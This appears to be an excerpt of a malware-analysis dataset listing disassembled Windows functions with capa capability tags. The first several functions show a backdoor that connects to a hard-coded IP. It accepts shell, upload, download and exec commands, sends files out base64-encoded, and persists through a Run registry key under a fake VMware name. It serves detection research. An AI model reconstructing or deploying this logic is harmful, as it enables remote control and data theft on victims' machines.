joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400026f7
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push rbp
sub rsp, 0x860
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x7f0], rcx
mov qword [rbp + 0x7f8], rdx
mov rax, qword [rbp + 0x7f0]
mov rcx, rax
call sym.strlen
add rax, 1
mov rcx, rax
call sym.malloc
mov qword [rbp + 0x7c8], rax
mov rax, qword [rbp + 0x7f0]
mov rcx, rax
call sym.strlen
lea rdx, [rax + 1]
mov rax, qword [rbp + 0x7c8]
mov r8, rdx
mov edx, 0
mov rcx, rax
call sym.memset
movabs rax, 0x2064616f6c7075
mov qword [rbp + 0x7a0], rax
lea rdx, [rbp + 0x7a0]
mov rax, qword [rbp + 0x7f0]
mov rcx, rax
call sym.strstr
mov qword [rbp + 0x7c0], rax
lea rax, [rbp + 0x7a0]
mov rcx, rax
call sym.strlen
mov rdx, qword [rbp + 0x7c0]
add rax, rdx
mov rcx, rax
call sym.strlen
mov qword [rbp + 0x7b8], rax
lea rax, [rbp + 0x7a0]
mov rcx, rax
call sym.strlen
mov rdx, qword [rbp + 0x7c0]
add rdx, rax
mov rcx, qword [rbp + 0x7b8]
mov rax, qword [rbp + 0x7c8]
mov r8, rcx
mov rcx, rax
call sym.memmove
mov rdx, qword [rbp + 0x7c8]
mov rax, qword [rbp + 0x7b8]
add rax, rdx
mov byte [rax], 0
mov qword [rbp + 0x7d8], 0
mov qword [rbp + 0x7d0], 0
lea rax, [rbp - 0x60]
mov r8d, 0x800
mov edx, 0
mov rcx, rax
call sym.memset
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0x7f8]
mov r9d, 0
mov r8d, 0x800
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
mov dword [rbp + 0x7b4], eax
cmp dword [rbp + 0x7b4], 0
jg 0x1400028aa
mov rax, qword [rbp + 0x7f8]
mov r9d, 0
mov r8d, 0x21
lea rdx, str.Error_en_la_recepcin_de_datos._n
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov rax, qword [rbp + 0x7d8]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x7c8]
mov rcx, rax
call sym.free
mov eax, 1
jmp 0x1400029d8
lea rax, [rbp - 0x60]
lea rdx, [0x140006111]
mov rcx, rax
call sym.strstr
test rax, rax
jne 0x14000296a
mov eax, dword [rbp + 0x7b4]
movsxd rdx, eax
mov rax, qword [rbp + 0x7d0]
add rdx, rax
mov rax, qword [rbp + 0x7d8]
mov rcx, rax
call sym.realloc
mov qword [rbp + 0x7a8], rax
cmp qword [rbp + 0x7a8], 0
jne 0x140002921
mov rax, qword [rbp + 0x7d8]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x7c8]
mov rcx, rax
call sym.free
mov eax, 1
jmp 0x1400029d8
mov rax, qword [rbp + 0x7a8]
mov qword [rbp + 0x7d8], rax
mov eax, dword [rbp + 0x7b4]
movsxd r8, eax
mov rdx, qword [rbp + 0x7d8]
mov rax, qword [rbp + 0x7d0]
lea rcx, [rdx + rax]
lea rax, [rbp - 0x60]
mov rdx, rax
call sym.memcpy
mov eax, dword [rbp + 0x7b4]
cdqe
add qword [rbp + 0x7d0], rax
jmp 0x14000282a
nop
mov rdx, qword [rbp + 0x7c8]
mov rax, qword [rbp + 0x7d8]
mov rcx, rax
call sym.writeAndDecodeData
mov ecx, 0x12c
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x7f8]
mov r9d, 0
mov r8d, 3
lea rdx, [0x140006111]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov rax, qword [rbp + 0x7d8]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x7c8]
mov rcx, rax
call sym.free
mov eax, 0
add rsp, 0x860
pop rbp
ret
Function at 0x1400029e1
Capabilities:
Read and send data from client to server
Read file on windows
Send data
Send data on socket

Disassembly:
push rbp
sub rsp, 0x810
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x7a0], ecx
mov qword [rbp + 0x7a8], rdx
mov rax, qword [rbp + 0x7a8]
lea rdx, [0x140006142]
mov rcx, rax
call sym.fopen
mov qword [rbp + 0x788], rax
cmp qword [rbp + 0x788], 0
jne 0x140002a7d
mov eax, dword [rbp + 0x7a0]
cdqe
mov r9d, 0
mov r8d, 0x1e
lea rdx, str.No_se_puede_abrir_el_archivo._n
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov eax, dword [rbp + 0x7a0]
cdqe
mov r9d, 0
mov r8d, 3
lea rdx, [0x140006111]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov eax, 1
jmp 0x140002b84
lea rax, [rbp - 0x60]
mov r8d, 0x7d0
mov edx, 0
mov rcx, rax
call sym.memset
jmp 0x140002afc
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.base64_encode
mov qword [rbp + 0x778], rax
mov rax, qword [rbp + 0x778]
mov rcx, rax
call sym.strlen
mov ecx, eax
mov eax, dword [rbp + 0x7a0]
cdqe
mov rdx, qword [rbp + 0x778]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov rax, qword [rbp + 0x778]
mov rcx, rax
call sym.free
mov rdx, qword [rbp + 0x788]
lea rax, [rbp - 0x60]
mov r9, rdx
mov r8d, 0x7d0
mov edx, 1
mov rcx, rax
call sym.fread
test rax, rax
setne al
movzx eax, al
mov qword [rbp + 0x780], rax
cmp qword [rbp + 0x780], 0
jne 0x140002a96
mov rax, qword [rbp + 0x788]
mov rcx, rax
call sym.fclose
mov ecx, 0x190
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov eax, dword [rbp + 0x7a0]
cdqe
mov r9d, 0
mov r8d, 3
lea rdx, [0x140006111]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov eax, 0
add rsp, 0x810
pop rbp
ret
Function at 0x140002b8d
Capabilities:
Copy file
Execute command
Persist via run registry key
Query environment variable
Send data
Send data on socket
Set registry value

Disassembly:
push rbp
push rbx
sub rsp, 0x158
lea rbp, [rsp + 0x80]
mov dword [rbp + 0xf0], ecx
lea rax, str.APPDATA
mov rcx, rax
call sym.getenv
mov qword [rbp + 0xc8], rax
lea rax, str.VMwareService.exe
mov qword [rbp + 0xc0], rax
mov rax, qword [rbp + 0xc8]
mov rcx, rax
call sym.strlen
mov rbx, rax
mov rax, qword [rbp + 0xc0]
mov rcx, rax
call sym.strlen
add rax, rbx
add rax, 1
mov rcx, rax
call sym.malloc
mov qword [rbp + 0xb8], rax
mov rdx, qword [rbp + 0xc8]
mov rax, qword [rbp + 0xb8]
mov rcx, rax
call sym.strcpy
mov rdx, qword [rbp + 0xc0]
mov rax, qword [rbp + 0xb8]
mov rcx, rax
call sym.strcat
cmp qword [rbp + 0xb8], 0
jne 0x140002c66
mov eax, dword [rbp + 0xf0]
cdqe
mov r9d, 0
mov r8d, 0x800
lea rdx, str.error
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov eax, 1
jmp 0x140002d4c
lea rax, [rbp - 0x60]
mov r8d, 0xff
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
mov rdx, qword [rbp + 0xb8]
lea rax, [rbp - 0x60]
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CopyFileA]
call rax
mov dword [rbp + 0xb4], eax
cmp dword [rbp + 0xb4], 0
jne 0x140002cdb
mov eax, dword [rbp + 0xf0]
cdqe
mov r9d, 0
mov r8d, 0x800
lea rdx, str.error
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov eax, 1
jmp 0x140002d4c
mov ecx, 0x800
call sym.malloc
mov qword [rbp + 0xa8], rax
mov rdx, qword [rbp + 0xb8]
mov rax, qword [rbp + 0xa8]
mov r9, rdx
lea r8, str.reg_add_HKCUSoftwareMicrosoftWindowsCurrentVersionRun__v_MService__t_REG_SZ__d__s__f
mov edx, 0x800
mov rcx, rax
call sym.snprintf
mov rax, qword [rbp + 0xa8]
mov rcx, rax
call sym.system
mov eax, dword [rbp + 0xf0]
cdqe
mov r9d, 0
mov r8d, 0x800
lea rdx, str.exito
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov eax, 0
add rsp, 0x158
pop rbx
pop rbp
ret
Function at 0x140002d56
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket
Terminate process

Disassembly:
push rbp
sub rsp, 0x820
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x7b0], ecx
lea rax, [rbp - 0x60]
mov r8d, 0x800
mov edx, 0
mov rcx, rax
call sym.memset
mov eax, dword [rbp + 0x7b0]
cdqe
lea rdx, [rbp - 0x60]
mov r9d, 0
mov r8d, 0x800
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
lea rax, [rbp - 0x60]
mov rdx, rax
lea rax, [0x1400061e8]
mov rcx, rax
call sym.printf
lea rax, [rbp - 0x60]
lea rdx, str.exit
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x140002dde
mov eax, 0
jmp 0x140002f46
lea rax, [rbp - 0x60]
lea rdx, str.exit__y
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x140002dff
mov ecx, 0
call sym.exit
lea rax, [rbp - 0x60]
lea rdx, str.shell
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x140002e28
mov eax, dword [rbp + 0x7b0]
mov ecx, eax
call sym.ash
jmp 0x140002d6c
lea rax, [rbp - 0x60]
lea rdx, str.download
mov rcx, rax
call sym.strstr
test rax, rax
je 0x140002e56
lea rdx, [rbp - 0x60]
mov eax, dword [rbp + 0x7b0]
mov ecx, eax
call sym.strtSnd
jmp 0x140002d6c
lea rax, [rbp - 0x60]
lea rdx, str.exec
mov rcx, rax
call sym.strstr
test rax, rax
je 0x140002e84
lea rdx, [rbp - 0x60]
mov eax, dword [rbp + 0x7b0]
mov ecx, eax
call sym.excndSend
jmp 0x140002d6c
lea rax, [rbp - 0x60]
lea rdx, str.upload
mov rcx, rax
call sym.strstr
test rax, rax
je 0x140002eb6
mov eax, dword [rbp + 0x7b0]
movsxd rdx, eax
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.uploadFunc
jmp 0x140002d6c
lea rax, [rbp - 0x60]
lea rdx, str.sysinfo
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x140002f09
mov eax, dword [rbp + 0x7b0]
cdqe
mov rcx, rax
call sym.strtAll
mov eax, dword [rbp + 0x7b0]
cdqe
mov r9d, 0
mov r8d, 3
lea rdx, [0x140006111]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
jmp 0x140002d6c
lea rax, [rbp - 0x60]
lea rdx, str.lowpersistence
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x140002f40
mov eax, dword [rbp + 0x7b0]
mov ecx, eax
call sym.getLWPrstnc
mov ecx, 0x12c
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
jmp 0x140002d6c
nop
jmp 0x140002d6c
add rsp, 0x820
pop rbp
ret
Function at 0x140002f4f
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library
Terminate process

Disassembly:
push rbp
sub rsp, 0x1d0
lea rbp, [rsp + 0x80]
lea rax, [rbp - 0x50]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
test eax, eax
je 0x140002f82
mov ecx, 1
call sym.exit
mov r8d, 0
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov dword [rbp + 0x14c], eax
mov word [rbp - 0x60], 2
mov ecx, 0x2329
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp - 0x5e], ax
lea rax, str.192.168.131.48
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_inet_addr]
call rax
mov dword [rbp - 0x5c], eax
mov eax, dword [rbp + 0x14c]
cdqe
lea rdx, [rbp - 0x60]
mov r8d, 0x10
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
mov dword [rbp + 0x148], eax
cmp dword [rbp + 0x148], 0xffffffff
jne 0x140003011
mov ecx, 0x2710
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
call sym.conection
jmp 0x140003031
mov eax, dword [rbp + 0x14c]
mov ecx, eax
call sym.mainLoop
mov ecx, 0x2710
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
call sym.conection
nop
add rsp, 0x1d0
pop rbp
ret

Function at 0x1400033f0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sym.vfprintf
call sym.abort
nop

Function at 0x1400040c2
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x14000b168]
test eax, eax
je 0x14000415a
lea rax, [0x14000b140]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x14000b170]
mov qword [rbp - 8], rax
jmp 0x14000413e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x140004132
cmp qword [rbp - 0x10], 0
je 0x140004132
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x1400040f8
lea rax, [0x14000b140]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x14000415b
nop
add rsp, 0x30
pop rbp
ret
Function at 0x140004260
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x140004288
mov eax, 0
jmp 0x1400042d6
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x1400042b1
mov eax, 0
jmp 0x1400042d6
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x1400042d1
mov eax, 0
jmp 0x1400042d6
mov eax, 1
add rsp, 0x20
pop rbp
ret

Function at 0x1400042dc
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x14000435a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x140004351
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x140004351
mov rax, qword [rbp - 8]
jmp 0x14000436f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x140004324
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x140013ec0
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140013cec

Function at 0x140041730
Capabilities:
Print debug messages

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov rax, qword [rsp + 0x30]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
add rsp, 0x28
ret

Function at 0x140041ff0
Capabilities:
Get thread local storage value

Disassembly:
mov dword [rsp + 8], ecx
sub rsp, 0x48
call fcn.140042560
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x14004202f
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov ecx, dword [rsp + 0x50]
mov rax, qword [rsp + 0x30]
call qword [0x14007e010]
jmp 0x140042039
mov ecx, dword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
add rsp, 0x48
ret

Function at 0x140001120
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 0x88
mov r13d, 0x6da5bf25
movabs r14, 0x140001180
xor r15, r15
xor dword [r14 + r15*4], r13d
mov eax, r13d
shl eax, 0xd
xor r13d, eax
mov eax, r13d
shr eax, 0x11
xor r13d, eax
mov eax, r13d
shl eax, 5
xor r13d, eax
inc r15
cmp r15, 0x790
jb 0x14000113a
lea rcx, [0x140002fc0]
call r14
lea rcx, [0x140002fc6]
lea rdx, [0x140002fcc]
jmp rax
Function at 0x140014720
Capabilities:
Hash data using murmur3

Disassembly:
push rbx
sub rsp, 0x20
cmp dword [rcx + 4], 0
je 0x14001474b
mov edx, dword [rcx + 0x14]
mov eax, dword [rcx + 0xc]
rol eax, 7
rol edx, 0x12
add edx, eax
mov eax, dword [rcx + 8]
rol eax, 1
add edx, eax
mov eax, dword [rcx + 0x10]
rol eax, 0xc
add edx, eax
jmp 0x140014754
mov edx, dword [rcx + 0x10]
add edx, 0x165667b1
mov eax, dword [rcx + 0x28]
lea r8, [rcx + 0x18]
mov ebx, dword [rcx]
and eax, 0xf
lea rcx, [0x140000000]
add ebx, edx
mov eax, dword [rcx + rax*4 + 0x149a0]
add rax, rcx
jmp rax
mov eax, ebx
shr eax, 0xf
xor eax, ebx
imul ecx, eax, 0x85ebca77
mov eax, ecx
shr eax, 0xd
xor eax, ecx
imul ecx, eax, 0xc2b2ae3d
mov eax, ecx
shr eax, 0x10
xor eax, ecx
add rsp, 0x20
pop rbx
ret
Function at 0x1400178f0
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x20
xor r9d, r9d
movaps xmm0, xmm3
comisd xmm3, xmmword [0x140025a58]
mov rsi, rdx
mov rdi, rcx
lea ebx, [r9 + 1]
mulsd xmm0, qword [0x140025a80]
cvttsd2si r11, xmm0
jb 0x1400179d4
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], r14
mov r14, qword [rsp + 0x68]
mov qword [rsp + 0x50], r15
mov r15, qword [rsp + 0x60]
nop dword [rax]
imul edx, dword [r14], 0x9e3779b1
mov r8, rbx
xor edx, 0x85ebca77
rol edx, 0xd
mov eax, edx
and al, 3
add al, 8
lea ecx, [rax + rax]
imul eax, edx, 0x9e3779b1
shl r8, cl
xor edx, edx
xor eax, 0x85ebca77
lea rcx, [r8 - 1]
rol eax, 0xd
and rcx, rax
mov dword [r14], eax
add r8, rcx
lea rcx, [r9 + rdi]
lea rbp, [r8 + r9]
cmp rsi, rbp
jb 0x1400179b3
call sub.VCRUNTIME140.dll_memset
imul eax, dword [r14], 0x9e3779b1
mov r9, rbp
xor eax, 0x85ebca77
rol eax, 0xd
mov dword [r14], eax
and eax, 0x1fff
movzx eax, byte [rax + r15]
mov byte [rbp + rdi - 1], al
jmp 0x140017940
sub rsi, r9
mov r8, rsi
mov r15, qword [rsp + 0x50]
mov r14, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
pop rsi
pop rbx
jmp sub.VCRUNTIME140.dll_memset
mov r8, qword [rsp + 0x68]
mov r10, qword [rsp + 0x60]
imul eax, dword [r8], 0x9e3779b1
xor eax, 0x85ebca77
rol eax, 0xd
mov dword [r8], eax
and eax, 0x1fff
movzx eax, byte [rax + r10]
mov byte [rcx], al
cmp rbx, rsi
jae 0x140017b70
nop word [rax + rax]
imul ecx, dword [r8], 0x9e3779b1
xor ecx, 0x85ebca77
rol ecx, 0xd
mov eax, ecx
shr eax, 3
and eax, 0x7fff
cmp eax, r11d
jae 0x140017ae7
imul eax, ecx, 0x9e3779b1
xor eax, 0x85ebca77
rol eax, 0xd
test eax, 0x380
je 0x140017a5f
imul eax, eax, 0x9e3779b1
xor eax, 0x85ebca77
rol eax, 0xd
mov r9d, eax
and r9d, 0xf
jmp 0x140017a7b
imul eax, eax, 0x9e3779b1
xor eax, 0x85ebca77
rol eax, 0xd
mov r9d, eax
and r9d, 0x1ff
add r9d, 0xf
imul edx, eax, 0x9e3779b1
mov ecx, ebx
xor edx, 0x85ebca77
rol edx, 0xd
mov dword [r8], edx
shr edx, 3
and edx, 0x7fff
inc edx
mov eax, edx
cmp rax, rbx
cmovbe ecx, edx
lea edx, [r9 + 4]
add rdx, rbx
mov eax, ecx
mov rcx, rbx
sub rcx, rax
cmp rdx, rsi
cmova rdx, rsi
cmp rbx, rdx
jae 0x140017b67
add rcx, rdi
nop dword [rax]
nop dword [rax + rax]
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
mov byte [rbx + rdi], al
inc rbx
cmp rbx, rdx
jb 0x140017ad0
jmp 0x140017b67
imul eax, ecx, 0x9e3779b1
xor eax, 0x85ebca77
rol eax, 0xd
test eax, 0x380
je 0x140017b12
imul eax, eax, 0x9e3779b1
xor eax, 0x85ebca77
rol eax, 0xd
mov dword [r8], eax
and eax, 0xf
jmp 0x140017b2b
imul eax, eax, 0x9e3779b1
xor eax, 0x85ebca77
rol eax, 0xd
mov dword [r8], eax
and eax, 0x1ff
add eax, 0xf
mov ecx, eax
add rcx, rbx
cmp rcx, rsi
cmova rcx, rsi
cmp rbx, rcx
jae 0x140017b67
nop dword [rax]
imul eax, dword [r8], 0x9e3779b1
xor eax, 0x85ebca77
rol eax, 0xd
mov dword [r8], eax
and eax, 0x1fff
movzx eax, byte [rax + r10]
mov byte [rbx + rdi], al
inc rbx
cmp rbx, rcx
jb 0x140017b40
cmp rbx, rsi
jb 0x140017a10
add rsp, 0x20
pop rdi
pop rsi
pop rbx
ret
Function at 0x140018d40
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
cmp dword [0x14002803c], 1
mov rbx, rcx
jb 0x140018d7d
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
lea rdx, str.Incorrect_parameters_n
call fcn.140015200
cmp dword [0x14002803c], 1
jb 0x140018d7d
mov rcx, rbx
call fcn.140018220
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
Function at 0x14001ae30
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x68
mov rax, qword [0x140028008]
xor rax, rsp
mov qword [rsp + 0x58], rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__fileno]
test eax, eax
jns 0x14001ae66
lea rcx, str.fileno
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_perror]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rdx, [rsp + 0x20]
mov ecx, eax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__fstat64]
test eax, eax
jne 0x14001ae9a
mov eax, 0x8000
test word [rsp + 0x26], ax
je 0x14001ae9a
mov rax, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140020560
add rsp, 0x68
ret
xor eax, eax
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140020560
add rsp, 0x68
ret
Function at 0x14001d530
Capabilities:
Terminate process
Write file on windows

Disassembly:
test edx, edx
je 0x14001d68a
push rbx
sub rsp, 0x30
mov rax, qword [0x140028008]
xor rax, rsp
mov qword [rsp + 0x28], rax
dec edx
mov byte [rsp + 0x20], 0
mov r8d, 1
mov rbx, rcx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__fseeki64]
test eax, eax
je 0x14001d5e1
cmp dword [0x140028678], 1
jl 0x14001d5d5
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r8d, 0x44
lea rdx, str.Error__i_:
mov rcx, rax
call fcn.140015200
cmp dword [0x140028678], 1
jl 0x14001d5d5
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
lea rdx, str.Final_skip_error__sparse_file__n
call fcn.140015200
cmp dword [0x140028678], 1
jl 0x14001d5d5
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
lea rdx, [0x140024bf0]
call fcn.140015200
mov ecx, 0x44
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov edx, 1
lea rcx, [rsp + 0x20]
mov r8d, edx
mov r9, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rax, 1
je 0x14001d678
cmp dword [0x140028678], 1
jl 0x14001d66c
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r8d, 0x45
lea rdx, str.Error__i_:
mov rcx, rax
call fcn.140015200
cmp dword [0x140028678], 1
jl 0x14001d66c
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
lea rdx, str.Write_error_:_cannot_write_last_zero_n
call fcn.140015200
cmp dword [0x140028678], 1
jl 0x14001d66c
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
lea rdx, [0x140024bf0]
call fcn.140015200
mov ecx, 0x45
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.140020560
add rsp, 0x30
pop rbx
ret
Function at 0x14001d538
Capabilities:
Terminate process
Write file on windows

Disassembly:
test edx, edx
je 0x14001d68a
push rbx
sub rsp, 0x30
mov rax, qword [0x140028008]
xor rax, rsp
mov qword [rsp + 0x28], rax
dec edx
mov byte [rsp + 0x20], 0
mov r8d, 1
mov rbx, rcx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__fseeki64]
test eax, eax
je 0x14001d5e1
cmp dword [0x140028678], 1
jl 0x14001d5d5
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r8d, 0x44
lea rdx, str.Error__i_:
mov rcx, rax
call fcn.140015200
cmp dword [0x140028678], 1
jl 0x14001d5d5
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
lea rdx, str.Final_skip_error__sparse_file__n
call fcn.140015200
cmp dword [0x140028678], 1
jl 0x14001d5d5
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
lea rdx, [0x140024bf0]
call fcn.140015200
mov ecx, 0x44
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov edx, 1
lea rcx, [rsp + 0x20]
mov r8d, edx
mov r9, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rax, 1
je 0x14001d678
cmp dword [0x140028678], 1
jl 0x14001d66c
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r8d, 0x45
lea rdx, str.Error__i_:
mov rcx, rax
call fcn.140015200
cmp dword [0x140028678], 1
jl 0x14001d66c
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
lea rdx, str.Write_error_:_cannot_write_last_zero_n
call fcn.140015200
cmp dword [0x140028678], 1
jl 0x14001d66c
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
lea rdx, [0x140024bf0]
call fcn.140015200
mov ecx, 0x45
